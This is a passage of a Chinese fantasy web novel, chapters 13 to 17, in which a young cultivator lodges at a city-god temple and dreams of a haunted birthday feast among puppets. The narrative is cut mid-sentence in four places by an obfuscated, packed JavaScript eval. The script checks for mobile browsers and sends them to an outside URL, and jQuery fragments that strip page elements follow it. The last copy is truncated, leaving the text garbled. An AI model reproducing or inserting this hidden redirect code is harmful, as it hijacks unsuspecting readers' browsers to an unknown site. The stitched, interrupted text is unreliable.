门口有穿红戴绿的精神矍铄,眸清神正的庙祝迎客,他脸上涂抹了红色朱砂增加喜气。这位庙祝的穿戴与旁边的庙祝截然不同,身披锦绣法衣,头戴莲冠。 “善信安好。”这个庙祝打了个稽首,笑吟吟地看向姜慕星。“今日恰逢盛会,相逢即是有缘,请。” 姜慕星赶紧回礼,她还没来得及说什么,就被这位庙祝引到了正殿之中。 城隍庙的正殿也有一尊高大的城隍塑像,不过这一尊看起来常年经受香火供奉,木质的塑像看起来泛着莹润的光泽。 端的是宝相光华,神韵非凡。 庙祝请来三柱香,递给姜慕星。她接过香后挥手引燃。在摆灭明火后她举香齐眉,躬身一礼三叩首。 姜慕星每叩首一次,庙祝便低音吟咒敲磬一次,如此重复三次后才算礼成。 “今日酬神前贫道卜卦一则。”庙祝带着姜慕星穿过正殿,前往偏殿客室。“善信可知,居然卜出了兑卦。” 姜慕星对八卦占卜之术一窍不通,听到庙祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511269|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么说,她虚心求教:“敢问道长,何为兑卦?” “兑卦初九,和兑,吉。”庙祝请姜慕星坐下,他点燃泥炉烹茶待客。“象曰:和兑之吉,行未疑也。”② 姜慕星:“呃,您还是用我听得懂的方式说说看吧。我怎么越听越糊涂,不过看您的样子,似乎是这卦象上佳,对吧?” “正是。”泥炉上小铜釜里的水很快沸腾起来,庙祝煮茶倒水,递给姜慕星一杯香气扑鼻的茶。“贫道浮一,敢问同修尊讳?” 姜慕星见他不再称呼自己善信,而是称呼同修,就知道这个浮一道长也是开了天目的修士。 她落落大方地报上自己的名讳,但并没有说自己师承何处。 “原来是姜同修。”浮一道长点点头,“本地修士多愿去往城主府谋个生计,毕竟城主笃信长生之道久矣。城隍庙甚少有同修前来,不知所为何事?” 姜慕星抿了一口茶正色回答:“我初出茅庐,本事尚浅。但行走乡野间多见民生疾苦,不愿一身修为追名逐利,只愿天下海晏河清……” “噗嗤,咳咳咳——” 她这番酝酿许久的豪言壮语还没来得及说完,浮一道长嘴里的一口茶就呛嗓子眼里了。 姜慕星十分尴尬,只好看着浮一道长摸出帕子擦擦嘴角水渍。 这么一破功,浮一道长也不文绉绉当谜语人了:“你这娃娃,看骨龄没到及笄之年。怎么说话老气横秋,这话是你家大人教的?真是迂腐至极!” “才不是!”姜慕星脱口而出,她装了半天的淑女也装不下去了。只好悻悻地说,“我这不是初来乍到,想看起来成熟可靠一些,不行吗?” “不准你说我家师父迂腐,他才不是那种人呢。” 浮一道长笑着摇头:“是个娃娃就要说些娃娃才会说的话,这样不就好多了?你啊,也别扯什么大道理,是不是学了点儿术法觉得无处施展,想看看自己几斤几两,好为民除害被人称赞?” 姜慕星鼓起腮帮子:“是又怎么样?” “我没说不是好事。”浮一道长捋捋长须,笑呵呵望着姜慕星。“年轻人朝气蓬勃,这不正是天地正理,行善积德总好过持强凌弱。” 姜慕星自豪地挺起胸膛。 浮一道长接着说:“城隍庙挂单修士不过寥寥两人,除却我之外另外两位同修也不常回来。平日里信众所求无非是风调雨顺,虽然咱们不能行云布雨,但偶尔有些精怪作乱还是能驱逐一二的。” 姜慕星眼前一亮:“我可以我可以,就让我在这里挂单吧!好道长,我晓得你最疼晚辈了!” 浮一道长伸手戳了一下姜慕星的额头:“你这娃娃还真是……不过可别高兴的太早,城隍庙挂单修士可赚不到什么大钱,混个温饱住宿罢了。你家大人若是同意,年后便来吧。” 姜慕星开心的将茶水一饮而尽:“好嘞,就请道长静候佳音。今日收获良多,我就先告辞……” 浮一道长大手一摆:“急着告辞做什么,今日酬神后有流水席,吃完了再带些点心回去。” 一听说还有流水席可以吃,姜慕星立刻眉开眼笑地黏在原地,说什么也不挪半步。 14. 第 14 章 自从姜慕星来永泉府过年,她就没缺过好吃的。不管是刘元亮家的家宴,还是城主府的流水席,亦或者是刚吃过的城隍庙斋饭,都堪称美味。 找到新活计的姜慕星提着浮一道长给的点心,眉开眼笑从城西返回了城东。 虽然归心似箭,但还是在临近宵禁她才踏入刘氏木材铺。而阳夫子他们下午就回来了,贺豆豆翘首以盼,见到姜慕星进门才松了一口气。 “庙会就那么好看吗?”贺豆豆半是担心半是调侃地说,“看你红光满面的样子,是不是又蹭了一顿饭才回来呀?” 姜慕星把点心往他怀里推:“当然啦,不过我带了点心。我可不像某人,出门前两手空空,回家后两袖清风。太没义气了!” “谁说的。”贺豆豆拿出一个红艳艳的果子递给她。“喏,这是今天练剑休息的时候我采的。很好吃,你尝尝。” 姜慕星接过来咬了一口:“这还差不多,嗯,好甜!” 临睡前姜慕星告诉阳夫子,她在城隍庙找了个差事,年后就来城里上工。贺豆豆虽然有些意见,但也只是忧心她的自理能力。 只是他看姜慕星这么信心满满,也就不再多说扫兴的话。 李三娘也帮腔:“城西那边的城隍庙食宿都还不错,前两年我陪娘家人去那边烧香,城隍也并未责怪精怪入庙。小小去那边挂单,不会有问题的。” 直到元宵节前,姜慕星都过着勤修不缀的练功生涯。阳夫子带着他们俩去了城郊林中,武学与玄术同修,不可落下功课。 小两只互相配合,进步神速。尚未长出新芽的枝头,姜慕星身轻如燕,足尖轻点辗转腾挪,竟比林间飞鸟还要自如。 她手掐剑诀,桃木剑径直从腰间飞出,与另一枝头的贺豆豆缠斗不休。之前在旺远村还不够娴熟的飞剑诀,现在已经可以如臂使指,能够做到随心而动了。 而贺豆豆虽不操控飞剑,但手中剑招越发凌冽。阳夫子在树下观瞧,面带笑容频频点头。 元宵节当日盛光霁托人送来了礼物,姜慕星与贺豆豆也亲手做了点心作为回礼。因为姜慕星已经在城隍庙里挂单,所以贺豆豆深感自己不能一无是处。 于是他央求刘元亮帮他也在城里找一个活计,不拘多少工钱,只要能一展所长就行。 刘元亮起初很不理解:“豆豆你是阳兄高徒,为何不同去城隍庙挂单?虽说你习得一身武艺,但咱们这样的,都还是得靠玄术吃饭呐。” 然而贺豆豆从未放弃过他的江湖梦,好说歹说才让刘元亮答应帮他找个镖局干干押镖的活计。 热闹的过年气象在他们坐驴车出城的时候,已然消散了不少。等他们返回双柳河村,又开始了念书修炼的平静日子,姜慕星等啊等,盼啊盼,总算是盼到了二月十八。 立春天渐暖,雨水送肥忙。 “本来还想着等你生辰过了再去。”阳夫子有些遗憾但更多的是欣慰。“没成想刘兄那边急着要去远门,你和豆豆结伴而行,各自都要小心些。” 姜慕星挎着小包袱点点头:“我晓得呢,夫子放心吧。比起我,你应该更担心豆豆哥才对。毕竟他是第一次自己出远门,我还没出永郡呢。” “夫子当然是两个一起担心啦。”贺豆豆说,“放心吧,我们俩会照顾好自己的。” 贺豆豆这次没穿平时出门的粉色道童衣,反而换上了一套黑灰色窄袖短打,背上背着三尺桃木剑。头发束在幞头里,衣服颜色深沉,反衬得他眸如朗星,英姿勃发。 阳夫子又交待了几句后,挥手同他们暂别。 马车驶远后贺豆豆才问姜慕星:“小小,你怕不怕?” “怕什么?”姜慕星毕竟不是真的十三岁,她只有兴奋和喜悦。“咱们跟着夫子学了那么久的本事,就是去城主府谋个羽客当当也不在话下。害怕的应该是咱们的对手吧。” 贺豆豆紧绷的一口气总算是呼出来了:“嗯,你说得对。这下我安心多了!” 马车行驶速度比之前快的多,但还是在城外等了一宿才能入城。 “那我就去城西了。”姜慕星跳下马车,冲着贺豆豆挥挥手,“带我向刘大叔和三娘子问好。” “好,你万事小心。” 简短告别后姜慕星迫不及待地朝着城隍庙赶去,要不是永泉府内严禁飞天遁地,她可能会直接用轻功从房顶抄近路。 等她顺利抵达城隍庙,已经辰时末(09:00)了。没了庙会的城隍庙完全不复那日盛况,甚至称得上冷清。浮一道长穿着青色得罗,拿着扫帚正在清扫地面和台阶上的落叶。 正巧一抬头,就看到面色红润的姜慕星站在台阶下冲着他边笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14524328|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边挥手。 “道长,你可算到了我今日会来吗?”姜慕星一边笑一边迈步上台阶,“怎么就你一个人在,其他庙祝呢?” 浮一道长笑呵呵回答:“我怎么可能天天算卦,还以为你这娃娃不来了。看你这样子是刚进城?吃过饭没,没吃陪我吃点。” 姜慕星三步并两步,一把夺下他手里的扫帚:“那还是我来扫干净,让您老人家休息片刻吧。” 说着姜慕星三下五除二扫干净落叶,跟着浮一道长就往厨房钻。听浮一道长说,城隍庙平日里并没有很多庙祝,节庆大祭的酬神乐舞都是抽调次一级的庙祝。 “哦,也就是说想看到很多庙祝就必须是特定时间。”姜慕星一边吃着热汤饭一边点头,“平时也就道长你自己在这里忙活,那还挺累的。” 浮一道长悠悠回答:“累与不累,端看你怎么想。这么多年我日日如此,哪有什么累的。一会儿吃完饭,我就带你去郡君面前把名字登上。” “这样有善信来求,你就可以为他们分忧解难了。” 饭后浮一道长带着姜慕星去往正殿,这次因为是正经挂单,因此她便行了三拜九叩的大礼。浮一道长用朱砂笔将她的名字写在黄表纸上,虔诚念诵经文后烧入香炉。 伴随着香灰升腾,姜慕星看到无面城隍手中的笏板闪耀起一阵金光,这就算正经成了城隍庙里的修士。 浮一道长对着她一弹指,姜慕星睁开天目就看到了她胸口和城隍神像之间链接着一条流光溢彩的线。 “如此一来,面对妖异邪祟时,郡君还能保你一命。”浮一道长说,“只盼你学艺精湛,不必有那么一天。” 或许是极为投缘,浮一道长十分偏爱姜慕星。不但在院子里给她找了朝南的房间,还允许她可以翻阅庙内典籍。若不是她已有师承,姜慕星猜测浮一道长可能还想直接收徒。 不过在城隍庙里过了三四天,姜慕星一个求助也没有收到。不过好在天无绝人之路,就在挂单的第七天,醴泉池旁的街上来了一位担着货物的货郎。 这货郎卖的东西种类繁多,花团锦簇应有尽有。更绝妙的是为了招揽生意,这货郎还搭了个小木台子,先卖货再演傀儡戏逗乐。 只是,货郎演戏用的是一具巴掌大小的骷髅;而姜慕星的天目里看到的货郎,也是一具骷髅。 15. 第 15 章 这可新鲜了。 大骷髅提溜着悬丝,让小骷髅动动胳膊腿儿,在台上活灵活现地伸了个懒腰。 周围被傀儡戏吸引来的众人自然是不明真相,看到灵活自如的小木偶乐得只拍巴掌。 “这么随意就进城了吗?” 姜慕星有些迷惑不解,在她的印象里正经城镇里,尤其是城隍庙附近是不应该有非人之物存在的。 但她转念又想到陪娘家人来城隍庙烧香的李三娘——既然与人无害的鼠妖能来城隍庙,那自食其力卖货走四方的大骷髅当然也可以来。 而且那骷髅货郎的货担上东西还不少,说不定就有她需要的新奇玩意儿。 抱着这种想法,姜慕星便也挤在人群里看他表演傀儡戏。 “诸位父老乡亲可瞧好了。”骷髅货郎笑着说,上下颌咔咔作响。“今日表演的故事,乃是李寄斩蛇!” 一边说着,他左手控制骷髅小人从旁边下台,右手则控制一条蛇的骸骨蜿蜒上来。 只见他白森森的骨节微微一动,那蛇骨如同活物般盘踞台上,甚至还张了张嘴做出吐信姿态。 “厉害!”姜慕星率先鼓掌叫好,她关闭了天目,专心看骷髅货郎的表演。“你这郎君该不会弄了条真蛇上来吧?” “不会是真蛇吧?”“哎呀,这么灵活可能是真的!” “可别伤了人才好!”“你这郎君,傀儡戏怎么用真东西呀!” 骷髅货郎笑了起来:“我就当诸位是在夸奖我的技艺高超啦,这蛇当然是假的,不信我让它作个揖。” 说着骷髅货郎手指轻点,悬丝拉扯着那条蛇动了起来,还真有模有样地将尾巴卷成小拳头作揖。 城西街坊们很少见到这般高超技艺,纷纷叫好,甚至还丢铜板给他做赏钱。 “多谢诸位抬爱,那咱们继续。”骷髅货郎一边控制蛇在台上游走,一边说。“话说几百年前的山里有一条大蛇危害人间……” 姜慕星知道《李寄斩蛇》这故事,小时候第一次看到的时候把她吓得不轻。 依稀记得那还是妈妈给买的连环画小人书,上面栩栩如生的艺术插画让当年的小姜慕星十分喜爱。 没想到穿越到了这里,还能听到熟悉的故事。 “那大蛇需要人祭,张口一吞一卷。”骷髅货郎手中的蛇扭动起来,将另一只手上的小人给吞了下去。“啪嗒,吐出来的便是一具人骨!” “嚯——!” 他撤掉了小人上的幻术,小巧精致的骷髅便躺在台上。观众看的连连叫好,胆子大的小童还想用手戳戳,被大人拉了回去。 “……最后李寄高举宝剑,一剑斩下那孽蛇头颅!”悬丝之下小傀儡高举宝剑,一剑就把蛇头斩落。 蛇头被斩落后还兀自跳动两下,随后整个蛇身软在台上一动不动。 “至此,再无妖孽作乱,山中居民便可安居乐业了。”骷髅货郎略一行礼,在一阵叫好声中一面收拾道具一面开始吆喝卖货品。“瞧一瞧看一看嘞,南北杂货诶!” 因为这骷髅货郎的傀儡戏演的精彩,看戏的街坊们都赏脸买了不少东西。那装的满满当当的货担很快便空了起来。 姜慕星也没着急,等人都走的差不多了才靠近他。 “这位同修有礼了。”姜慕星一拱手,“您这是打哪儿来呀?” 骷髅货郎看了两眼姜慕星,笑容可掬:“同修有礼,我嘛自然是从来处来,往人堆里去呀。看你这样子也不像是缺钱花的,要不瞅瞅我这里有什么你瞧得上眼的物件?给你算便宜点!” “那我可得好好瞧瞧了。”姜慕星也不客气,伸手在货担里翻找起来。“胭脂水粉我用不上,钗头篦梳我都有……嗯,这个是什么?” 她从货担最下面翻出一个被细麻布包着的长方形物什。 这东西说重不重,说轻不轻,但能闻到一股木料的清香。 “这啊,是枕头。”骷髅货郎掀开细麻布,“喏,你瞧这纹样这木料。触手温润,细腻光滑,一看就是大户人家用过的好东西。你要是喜欢,我算你这个数。” 他伸出五根手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14550408|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “五个铜板?”姜慕星一边看这云纹木枕一边随口说,“开玩笑的,给你五十钱怎么样?可别嫌少啊,你这东西是要遇买主的,如果不是看在同修的份上,我是不会买这种华而不实的东西的!” 骷髅货郎倒也没有在价钱上多纠结:“这东西与你有缘,你可得收好了。好了,东西卖完我也该启程上路。这位同修,有缘再见了。” 说着骷髅货郎重新挑起半空的担子,一边唱着走街串巷的卖货歌谣,一边摇摇摆摆地朝着城东那头走去。 而姜慕星捧着木枕头回到城隍庙,她用天目看了一遍,也没发现这枕头别有玄机。 但就是一种说不清的感觉,促使她将枕头视若珍宝地放在床上。 她对木料没有什么研究,唯一能确定的是这枕头不是檀香木所制。姜慕星把枕头反过来,在底部刻有小篆书写的文字,似乎是这枕头的正式名称。 但她不懂篆书,只能明天再去查看典籍。 木枕上的云纹格外细腻精巧,若是给这枕头镶上琉璃宝石之类的东西,拿去当什么御品贡品也不违和。 姜慕星深觉自己眼光独到,当即躺下试试这枕头好不好用。 本来她还没想睡觉,但一接触到枕头困意就山呼海啸般袭来。 姜慕星打了几个哈欠,眼皮重的像吸了水的棉被,她只好遵循本能呼呼大睡了起来。 刚一睡着,姜慕星就开始做起怪梦。 她先是梦到自己是傀儡戏里手持长剑,为民除害的“李寄”;随后她又梦到自己在空中飞舞,好像变成了一只小鸟,在自由嬉戏。 梦里十分快乐,姜慕星很久没有做过这么童趣的梦了。她心里隐约有些期盼,她想……如果能梦到前世就好了。穿越来此已经快十四年,她很怕自己有朝一日真的无法记得自己从何处来,要往何处去。 就在她于梦中伤感时,就看到梦里出现了一个细细长长的人影。那人影对着她招手,一下,一下,一下…… 好像在招呼姜慕星,要她跟着它一起去。 16. 第 16 章 姜慕星迷迷糊糊重新睁开眼睛,她正端坐在一顶红绸小轿中。 小轿虽然有些摇晃,但不用在乍暖还寒时节下地走路,也是一种不可多得的享受。 就算轿子让她的腰和腿不可避免地酸痛起来。 只不过姜慕星有些记不得,自己是什么时辰,在哪里上的轿。她感觉自己好像是有什么重要的、体面的事要做,不然她不会花钱坐轿子。 但现在她的脑子变得比平时迟钝了点,就好像……她夜间贪玩不睡觉,第二天还要起床在阳夫子眼皮下背不出功课一样迟钝。 一想到要背书,姜慕星忍不住想叹气,结果手中有东西硌到了她。 于是姜慕星低头去看,她手中还握着一份做工精巧的请帖。请帖上散发着一股淡淡的檀香味,正中用浓墨写了个硕大的“寿”字。 ——这是一张贺寿的请帖。 “……我要去给谁贺寿来着?这请帖上怎么没写呀。” 正在她疑惑不解的时候,红绸小轿停了。 轿夫的声音从轿帘外传来,有些含含糊糊听不清楚。随后轿帘被轻柔地掀开,一张没有什么特征的中年男性面孔出现在姜慕星面前。 “姜娘子,云府到了。”轿夫打扮的人恭敬地示意姜慕星下轿,“这边请,且小心脚下。” 姜慕星从红绸小轿里出来,一抬头就看到了云府的牌匾。这牌匾甚是精致,让她忍不住驻足观赏片刻。 牌匾纂刻着硕大的篆体云字,用金漆细细地涂了;乌沉沉的匾额上雕刻了细密的纹路,细密的祥云纹路有些像被吹皱的一池春水。 “真是好匾额。” 姜慕星有心夸奖两句,但奈何她肚子里没什么文采,只能说出这么干巴巴的赞美。 如果贺豆豆也在这里,他一定会骈散结合、引经据典地给姜慕星介绍一下这种匾额的工艺。但他今日有事没来,实在是可惜的很。 就在姜慕星收回视线时,她看到一位穿着艳蓝色团花圆领袍,看起来像是管家的圆胖中年男人含笑望着自己。刚才她看牌匾太入神,都忘记应该递交请帖进云府了。 “抱歉。”姜慕星将手里的请帖递给圆胖中年人,“这是我的请帖。” 圆胖中年人双手接过请帖,打开随意扫了一眼,对着她露出殷勤的笑来:“原来是阳夫子爱女姜娘子,快快请进。” “我是云府的大管家,娘子叫我云忠就好。”他伸出手引着姜慕星进云府,一边和她说话一边将请帖收入袖中。“这次老太君大寿,可是请了不少人呢。不过姜娘子从永泉府远道而来,路上辛苦了。这不,都已经快日落了。” “还好啦。” 姜慕星随口回答,她就说为什么下轿的时候光线昏暗。从永泉府来这里确实很花时间,她雇的轿夫们脚程已经很快了。 云忠一边和姜慕星寒暄,一边带着她往云府里面走去。一路上分花拂柳,所见云府中清幽雅致,更有游廊曲折,松竹长青叠石古趣。 茅檐长扫净无苔,花木成畦手自栽。① 虽然是第一次来云府,但眼前所见景色都给她一种似曾相识的感觉。就好像很早之前,她就已经来过这里了。 “我觉得我好像来过这里。”姜慕星忍不住对云忠说,“从这里走过去,是不是有一个湖之类的景观?” 云忠含笑点头:“不愧是阳夫子的高徒,云府当年的设计图有一部分便是出自阳夫子之手。看来姜娘子也继承了阳夫子的衣钵,一眼便认出了您家夫子的手笔。” 姜慕星一听这话,立刻与有荣焉:“我就说怎么看着眼熟,原来是这样啊。……咳咳,那当然了,我家夫子能文能武十分英武,上观天象下看风水,样样都在行呀。” 云忠陪着笑,也恭维了几句。姜慕星毫不谦虚,对云忠的赞美全盘接受。 “咱们这会儿就去拜见老太君,她老人家此刻在正堂里呢……何事慌张,没看到这里有贵客吗?” 云忠穿过一个提有“天波”字样的月洞门,正要继续说什么,就看到一个小厮匆匆跑来。 或许是为了配合云老太君寿辰的喜气,这个小厮也穿着艳蓝色的衣服,只不过上面并无半点花纹装饰。 小厮附在云忠耳边说了什么,云忠迟疑片刻对姜慕星告罪:“姜娘子,实在是对不住。后厨临时有点事我得去看看。您看……” “没关系。”姜慕星一摆手,很体谅地点点头,“今日寿辰肯定很忙,你给我指个方向,我自己过去就好。” “放心吧,我不会走丢的。” 云忠苦笑着告罪:“实在是怠慢贵客……那您朝着这边走,顺着石子儿路,不必拐弯一路走到尽头就到了荣寿堂。” “老太君就在那边。” 姜慕星告别云忠,独自步履轻快地朝着荣寿堂前进。 不过这条路并不是宅邸正路,更像是观景赏花的捷径小路。她一面避开微微凸起的硌脚鹅卵石,一面躲过被风吹乱的柳枝。 就在她穿过一道月洞门时,姜慕星听到了不远处两个穿着艳玫红色裙衫的侍女边走边聊天。她们手持长柄团扇,扇子靠在左肩头。 “听说这次请来的,是月家班呢。” “月家班?就是那个在京城都很有名的月家班吧,哎呀,我可喜欢看百戏了!” 姜慕星心里一动,寿宴上有百戏,这下可算是有了些乐趣。她也喜欢看百戏,若是有古彩戏法和傩戏变脸就好。 两个侍女似乎也是往荣寿堂去的,她们还在讨论月家班的事。姜慕星跟在她们身后,认认真真偷听。 其中左边的侍女的兄长负责接待月家班,因此她知道今晚什么时辰、在哪里演百戏。右边的侍女接连发出感慨,一叠声说晚上有眼福,这个时候才顺带感谢了一下要过寿辰的云老太君。 姜慕星有些想笑,但忍住了。在两位侍女进了荣寿堂之后,她又等了一小会儿才迈步进入。正巧除了那两个刚进来的持扇侍女之外,厅堂里没有外人。 她一进门就看到上首坐着一位气质高华,雍容大气的美貌老夫人。老夫人穿着一套绣满了五蝠捧寿图案的水蓝色长裙,脸上涂着对她这个年龄来说有些夸张的酒晕妆。 “阳夫子首徒姜慕星,拜见云老太君。愿您福如东海长流水,寿比南山不老松。” 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“走吧娃娃,咱们边吃边看。”云老太君挽着姜慕星的手,在成群结队的侍女簇拥下,朝着氤氲池边走去。 等她们抵达氤氲池边,姜慕星才知道为何这个人工池会命名为“氤氲”。此刻暮云合璧,日沉西海,水面波光粼粼,升腾起轻柔缭绕的雾气来。 “咿—————!!” 姜慕星刚一落座,就听到一声引吭的清亮高歌。水面如同煮沸一般咕咚咕咚冒起大泡,有什么东西翻腾着从水下升起。伴随着持续不断的咿声,从四面八方传来了相和的吟唱,一道倩影从远处踏水而来。 “上陵何美美,下津风以寒。 问客从何来,言从水中央。”② 她双足刚一触水,水面便结为绵密的云朵托起伊人的双足。她在水面且歌且舞,姜慕星看的目不转睛,双手做好了随时为她鼓掌叫好的准备。 就在歌者转身的一瞬间,姜慕星看到了她佩戴着光滑平坦的木头面具。 歌者鬓边和发髻上别着艳丽的花朵,只是这些花朵似乎都不是真花。好像是什么东西拼凑在一起,组成了繁花的造型。 姜慕星努力去看,却被升腾的云雾和甩动的水袖阻挡了视线。 歌者踏上氤氲池中升起的宽大云台,几位百戏舞者也已在台上做好献艺的准备。一时间池边掌声雷动,叫好声接连不断,还有人投掷鲜花入水。 作为主家的云老太君很满意,脸上一直挂着赞赏的微笑。 “百岁应知登鹤算,绵绵五福自繁昌。”为首的歌者率舞者盈盈一拜,“四方观礼,请神君点戏。”③ 姜慕星一愣,她百戏看得不多,但没见过主家不点戏让什么神君代劳的,又不是路头夜戏。 但云老太君和在场观戏众人似乎没有什么意见,任由歌者将一本册子丢向空中。 那本古旧的册子在空中哗啦啦的翻页,落在台上后被歌者捡起。她身体颤抖了一会儿,语调像哭又像笑地公布了神君点的戏。 “奉神君旨意,奏《云散高唐》。” 17. 第 17 章 姜慕星一听这名字,本能地微微蹙眉。虽说她听的戏目不多,但大体上还是知道什么场合要唱什么戏。 今天是云老太君的寿辰,再怎么样也是要唱点吉祥如意的戏目才对。 无论是唱《献蟠桃》还是《八仙庆寿》都很合适,可这个月家班的戏本是怎么回事? 为什么会出现《云散高唐》这种戏目,名字一听就不太吉利,况且主家还姓云。 “老太君……”姜慕星有心说点什么,但云老太君就好像没听到一样,依然挂着笑容。 只是那笑容怎么看怎么呆板,和在荣寿堂的状态判若两人。 姜慕星忍不住环顾四周,在座众人没一个有异议,甚至还有人鼓掌叫好。 岸上侍女们将手中的鲜花继续抛洒入水,很快清透的水面上便浮起一层绵密的花瓣。馥郁的花香随着清风吹拂人脸,甚至压过了宴饮的酒气。 见到此情此景,姜慕星有些迟疑。 她觉得可能是自己多心了,或许《云散高唐》名字起的哀,内容却是阖家欢乐的? 姜慕星毕竟是客,客随主便。既然云老太君都没有意见,她就只管坐着看戏就行。 歌者收起戏本,她身姿曼妙地挥动着曼长的水袖,台上的布景在顷刻间便有了翻天覆地的变化。 原本空无一物的云台之上,竟出现了层峦叠嶂的崇山峻岭。水面升腾的雾气萦绕其中,如同山峦原本就矗立于小小的氤氲池中。 伴随着山峦的出现,几位身着华服高冠的舞者自山中款款而出。他们高声谈笑,却并非使用官话,而是一种似是而非的含糊语调。 姜慕星数了数,加上歌者,现在台上一共是八人。 虽然后来的七人在装扮的华丽程度远超歌者,但最中央素衣簪花的她才是《云散高唐》的主演。 只见歌者一振水袖,开始踏歌而舞;衣袂翩跹,潇洒自若。 髣髴兮若轻云之蔽月,飘飖兮若流风之回雪。①《洛神赋》曹植 姜慕星很努力去听她在唱什么,但伴随着舞步开始的乐声,让本就咿咿呀呀的唱词变得愈发模糊。 并且歌者现在唱的词诘屈聱牙,就算她能听得清楚,组合起来也完全不解其意。 不过好在百戏的表演形式并不完全依靠唱词,姜慕星还能通过场景和舞者们的动作来判断戏剧的内容。 又看了一会儿,歌者的表演已渐入佳境。 “老太君。”姜慕星低声询问云老太君,“这《云散高唐》讲的是什么故事呀,我之前完全没看过。” 云老太君投来意外的一瞥:“竟没看过吗,阳夫子也真是,这么重要的事都没有讲给你听。” “夫子可能讲过,只是我素来顽皮可能忘记了。”姜慕星回答,“劳烦老太君为我解解惑。” 云老太君并未用手指去指云台上翩然起舞的歌者,而是虚虚抬了一下:“《云散高唐》讲的,便是那位神君的故事。作为神君信者,这是必看的戏目。” “阳夫子也是德高望重的信者,他也是只差一步就可成为神使之人。”云老太君看她的表情完全不似开始那般和蔼,“小娘子作为阳夫子的徒儿,也确实得好好抓紧功课了。” 姜慕星没说话,她是真的不记得这些事。但,那位神君……? 她脑子里好像有什么名词即将脱口而出,但就在名字浮现前,歌者清亮的歌声又拉走了姜慕星全部的注意力。 扮演“那位神君”的歌者一边引吭高歌,一边穿梭在云台之上。另外七位舞者分散四周,绕着歌者形成一个圆心,动作齐整如一人。 舞势随风散复收,歌声似磬韵还幽。千回赴节填词处,娇眼如波入鬓流。② 此时奏乐清扬悠远,气势磅礴如黄钟大吕,可称天籁之音。 就在姜慕星盯着台上想要看得更清楚一点时,歌者的动作忽然停住了。 就连渺远的乐音,也在这一刻戛然而止。唯有幽幽的余音,依然激荡在空气中,如同水波上的涟漪,缓缓地散去了。 格拉,格拉。 伴随着骨骼摩擦的响动,歌者的脖子缓缓地,缓缓地拧了过来。 光滑木头面具对着她,而后,突兀地绽开了一个笑。 …… 姜慕星忽然从怔忪中回过神来。 面前是有些熟悉的月洞门,只是墙根上已布满黑黢黢的青苔,白墙上的墙皮也剥落了许多。挂在檐角的爬山虎有气无力的挂着,叶片干黄卷曲。 不知为何,她觉得有一些晕眩。 姜慕星晃了晃头,这才想起自己是来做什么的。 对了对了,她是奉阳夫子的令,来给云老太君贺寿的。这里是云府,她正要去拜见云老太君。 两个持扇侍女站在不远处,穿着玫红色的衣裙。 “听说这次请来的,是月家班呢。” “月家班?就是那个在京城都很有名的月家班吧,哎呀,我可喜欢看百戏了!” 姜慕星觉得她们似曾相识,于是她轻手轻脚往前行了两步,想要和持扇侍女打个招呼。 但映入眼帘的,却是两具面容敷衍的木偶。她们身上的衣衫也被什么刮破脱丝,袖口沾染了些许污渍。 圆棒的胳膊上随意的插着几根短粗小棍充当手指,长柄团扇的扇面也不见了踪迹。 姜慕星默默放下手臂,绕开动作僵硬的木偶侍女继续往前走。她的脚步声被掩盖在木偶侍女发出的嘎吱声中,直到抵达荣寿堂。 荣寿堂的匾额上金漆剥落了大半,发黄的木屑从被白蚁啃咬的缺口落在台阶上。正堂里也没点灯,两扇门有气无力地打开着,糊窗框的纸也被什么东西撕坏了。 姜慕星踏入昏黑如巨口的荣寿堂,上首歪歪坐着一个木头老太,身边歪斜站着几个持扇的木偶侍女。和外面看到的一样,都面容模糊衣衫残破。 ——云家的老太君,居然也是一具木偶吗? “见过云老太君。”姜慕星硬着头皮恭敬行礼,“我家夫子令我前来贺寿,祝愿老太君身体康健,寿比南山。” 纵然比起木偶侍女们,云老太君的面容已算得上颇具匠心。至少五官是雕出来了,头上还胡乱裹着白纱权当白发。 “你这娃娃……嘎啦……来的正好……陪老婆子我,去,去看戏罢!” 云老太君腹中发出一阵嘎啦嘎啦的声响,姜慕星觉得十分为难,她不太想去。但她也没办法拒绝,只好尴尬又不失礼貌地点点头。 云老太君一边发出不同节奏的嘎啦声,一边用粗糙僵硬的木手拽着姜慕星往外走。 姜慕星没有挣扎,虽然云老太君的手指打磨光滑,但万一有木刺把她手刮破,终究不太好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 